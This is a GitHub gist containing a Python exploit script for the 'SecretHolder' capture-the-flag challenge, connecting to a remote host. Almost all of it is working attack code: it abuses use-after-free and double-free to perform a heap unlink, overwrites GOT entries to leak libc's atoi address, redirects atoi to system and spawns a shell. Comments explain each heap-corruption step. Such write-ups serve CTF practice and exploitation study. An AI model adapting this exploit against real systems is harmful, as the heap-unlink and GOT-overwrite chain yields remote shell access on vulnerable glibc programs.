Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
Last active October 11, 2016 16:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save peternguyen93/8991b035a2e2266b12fd7b78f47fcd5e to your computer and use it in GitHub Desktop.
Save peternguyen93/8991b035a2e2266b12fd7b78f47fcd5e to your computer and use it in GitHub Desktop.
from Pwn import *
p = Pwn(
elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8',
host='52.68.31.117',
port=5566
)
# p = Pwn(
# elf='SecretHolder_d6c0bed6d695edc12a9e7733bedde182554442f8'
# )
def keep_secret(op,content):
p.read_until('3. Renew secret')
p.sendint(1)
p.read_until('3. Huge secret')
p.sendint(op)
p.read_until('Tell me your secret:')
p.sendline(content)
def wipe_secret(op):
p.read_until('3. Renew secret')
p.sendint(2)
p.read_until('3. Huge secret')
p.sendint(op)
def renew_secret(op,content,is_nonewline=False):
p.read_until('3. Renew secret')
p.sendint(3)
p.read_until('3. Huge secret')
p.sendint(op)
p.read_until('Tell me your secret:')
if not is_nonewline:
p.sendline(content)
else:
p.send(content)
def exploit():
p.connect()
raw_input('>')
# p1 = p3
# this bug of this chall is use after free, double free corruption
# the key to solve this challenge is make
# small, big and huge point to same address
keep_secret(1,'C'*40) # create small chunk (p1)
keep_secret(2,'B'*4000)# create big chunk (p2)
keep_secret(3,'A'*4000)# 400000, create huge chunk (p3)
# wipe_secret(2) free will merge top chunk and big chunk
wipe_secret(2)
# wipe_secret(1) free will merge top chunk and huge chunk
wipe_secret(1)
# p3 is too big so malloc will map an other chunk
wipe_secret(3)
# with this malloc, because malloc see that this heap page only 0x21000 not enough
# for this huge chunk so that heap page will expand to fit this chunk
# in this step we hame huge_secret is the same address of small_secret
# and expand over big_secret. So we can perform unlink exploit in this case
pl = p.pA(0,0x81)
pl+= p.pA(0x06020A8 - 0x18,0x6020A8 - 0x10)
pl+= p.pA(0x20,0x90) # <-- big_secret will point to this chunk
pl+= 'A'*0x80
pl+= p.pA(0,0x91)
pl+= 'C'*0x80
pl+= p.pA(0,0x91)
pl+= 'D'*0x80
keep_secret(3,pl) # overwrite small_secret, big_secret
wipe_secret(2) # free fake big_secret, and make unlink
# so address 0x06020A8 will point to 0x06020A8 - 0x18
# huge_secret point to bss
pl = 'A'*16
pl+= p.pA(
p.got['atoi'], # big 2
0x0602090, # huge 3
p.got['free'] # small 1
)
pl += '\x01\x00\x00\x00'*5
renew_secret(3,pl) # overflow small_secret, big_secret, huge_secret
renew_secret(1,p.pack(p.plt['puts']),True) # overwrite free = puts
wipe_secret(2) # leak atoi address
leak = p.read_until('1. Keep secret').strip('\n')[:6].ljust(8,'\x00')
atoi = p.unpack(leak)
off = p.get_libc_offset(atoi,'atoi')
# print off
system = atoi - off
print '[+] atoi()',hex(atoi)
print '[+] system()',hex(system)
renew_secret(3,pl) # overwrite bss again
renew_secret(2,p.pack(system)) # send system
p.sendline('sh')
p.io()
exploit()
# cat flag in cat /home/SecretHolder/...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment